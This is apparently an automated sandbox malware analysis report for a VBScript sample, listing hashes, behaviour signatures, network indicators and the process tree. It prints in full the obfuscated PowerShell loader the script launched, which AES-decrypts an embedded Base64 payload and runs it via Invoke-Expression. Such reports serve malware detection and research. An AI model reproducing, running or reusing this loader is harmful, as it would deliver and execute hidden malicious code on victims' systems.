Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
12-07-2024 16:56
Static task
static1
Behavioral task
behavioral1
Sample
package011.vbs
Resource
win7-20240708-en
General
-
Target
package011.vbs
-
Size
150KB
-
MD5
23df05b7be963f02a76cd7fb64a1cccc
-
SHA1
a361a5214b9cfa838b77b4349fa0898db400fd97
-
SHA256
a8e815c5920b41708193a747a8635f3a10d5fc933b6743177b5353a01ad76717
-
SHA512
01ac143a46a5b81f23621ec9654a5f347269033ac2ea7e751a6b1df4cd9aee51c2be1023379669b5044604312884b14eaff49099c79cfc4890049b688f1222e1
-
SSDEEP
1536:yZccvQGghdpPZp+ogsUJW4Wrle/PhG+/kery+bGsGI38sv5HnIgs:QghdpP+og0S7hO
Malware Config
Signatures
-
Blocklisted process makes network request 6 IoCs
Processes:
WScript.exepowershell.exeflow pid process 5 1488 WScript.exe 7 1488 WScript.exe 9 2788 powershell.exe 10 2788 powershell.exe 11 2788 powershell.exe 12 2788 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2788 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2788 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 1488 wrote to memory of 2788 1488 WScript.exe powershell.exe PID 1488 wrote to memory of 2788 1488 WScript.exe powershell.exe PID 1488 wrote to memory of 2788 1488 WScript.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\package011.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI54017336715515162301463169167087CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIRVKb4AMnkcGT+1lRhDq2wGvsgxIWAbGvnAKn/KLt4ftcExS0J6PGPkyqQaBny3dqVsssrgFa+JaPcIyUhJhQXOaB/AZP4wo1wuwJ1fJM5bAu+dP//NHHKoo4LQYwoqJjzElrkfA2WmjOHFvWL5ffOYOqkyqieKwtHphpXiVovPlmhcb0S1v2ezagT2Vmks746+5Af+ygpdewM/TjYc2J8AHemy9cMo/4hrwBfp1jBWlmuXqwV9h3co0UZW0jB2dz2VZbV7ZDoKUAVBW/V3vINzl7GZvVlGcAaOXds5ExG5fwVaodCcInqFM1QQXEnjpB1tTNSugmQYYGiubBh0AMgMkHz3uXM6qIv0ggixuYCK74Zy/4zVo5/uWR4xc7I8WYOtAiUEGaVGzDMhEmCKqyokWQ34dBuQANpSwdRyhRD8OmyRroc7e65DzHz/xZp2xVjvpAf9s+ckPY41fLm71nDtpTbFFSJTdaQnBf2ATv1zPJZ6fh+fmgfgGULgO4L+ldJPmPZUEK7wMlrGaPqzzWpRMxXXSZ1MOQL68UfsjW3GzYvo0H3iocVB81r9MIiLvZX8Y0HZly/LMji9VNcU+n7ofYCBsEnXZnvmtzLxiN1Jmk6WkoLPiiJ/FsQ764Iuc/zsUDRDD9mwyrIbngZyfN4zvnDo8TaH4+JQjvHEi6qihxvdbOY1AAv/usKcWSuzvFoJVHfSDlNBhpcW1Amcnv3SDckyFR61PGwdDxtZBwHOfQYQYDGwffp/4i9pSC5BCMw0xXmbBZu+0oG7U/vdwveQVOXsd67CQBHfIhjzuZOw5YnMedohBQo5WpTwAmdw/pXaBtxLMY8XlS/3wgiEKEsNfiObdNZNF4FcWqqBcxMCM7dNBr3P7yi1z8EGs9Plxf5Y6rbRh9ytLZ0lTnzs+I3QOe8wKOkARifHeztj8fNtSPzHi0a1QONAyeZQHl6K2sYfhGZO2djiLrs2sBusjxgv1Aybwq2e/EDmJY8ujuPGYk/KxIFwlkclKozCWCN/iRjeQgcxfHRxdOibiC9UouixNm6PZLetLNaXGL5onrZ4rursfSkQGxdSFAyfTMX88eb/fBP/pfsUv+JRoM/p+ox/syG9apC2cW4zQ7VWmDX2rbidh1eApWuowRe+CZczNSZezlT02ciH0U9MTyzG5GPIXbB68wAKePzG/E/ae0IAOuc0xmtjjgMWtMk+63rlSsv8VcBPVHaofdAOWT9w4BPLj9u1uOD8I0NIex+GOYS429KoBGJ/1BMzFAf5llNPlZN2jclE2KfdQ/Q4m6c/r4yqWD5JXMw9w4dLN6WyHkifaH1Y9FDYyejX8ckzJ8WvJAVXgmmN9ip8D3qOaugY7TmUXhXm0sL/6be/YScyAGkpfEyLqalKurxcJ9ARrhQ2axllqthk732UFRnZtMMG4kKJfh15lRbGniEQNknMMo8pldrew/J8sUOJUeE3zAMZX/T1x5LrEyQ254M05a7DZL3RdtXK+w3L1WFzN4sU4xp3n7XsYE0DlbDyTz+ufNUlBo9hA/Eid5vK+cEm+618JqvKlr8dehYjfgwr3iP86K5K3O3Mo0QWnwMb/29to/5qDss0mmXGspxFn9fmTIAyq7hqMpCfmv/RUZwMG3qetlNIzb6ReZLENyvPtmeLWQOOzJd6+KM4pp/GyJ9TjB4YfixpqPD4LSZ3Eng1BBqAY8XaI4djDN8t05f8Z9BHnwBJIww9r2sUySG54n+UNhdZYetqkqNJH/bbd6D6QPiVsXgdQTUXipSGCA7W2pL/kLCf7B8PQRtmRKYasYSYwU9CoBy5zgsaBbMUzDM4HeXhwgzQSX1rR/+hu0yHHQhlHb7nfrItcI1mMzkqH0mleO5Yss8HwOwn6LnoGSacAZOgsk3+HxlKWaIPSl9o3mhbi4zAtc6/isWyXcKJIF/KGoBWCJbXspQQul0p8kBpVnLniqck6MgBIHVEEdKUIKWA+jY75yCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2788
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\UQFHO95Z\paste1[1].txt
Filesize156B
MD5ad6c37ef980373e9bcbd14810fad34bc
SHA19c061a1b3608b7c7f1db7cd06c8246913ee11bda
SHA256ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c
SHA51230dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f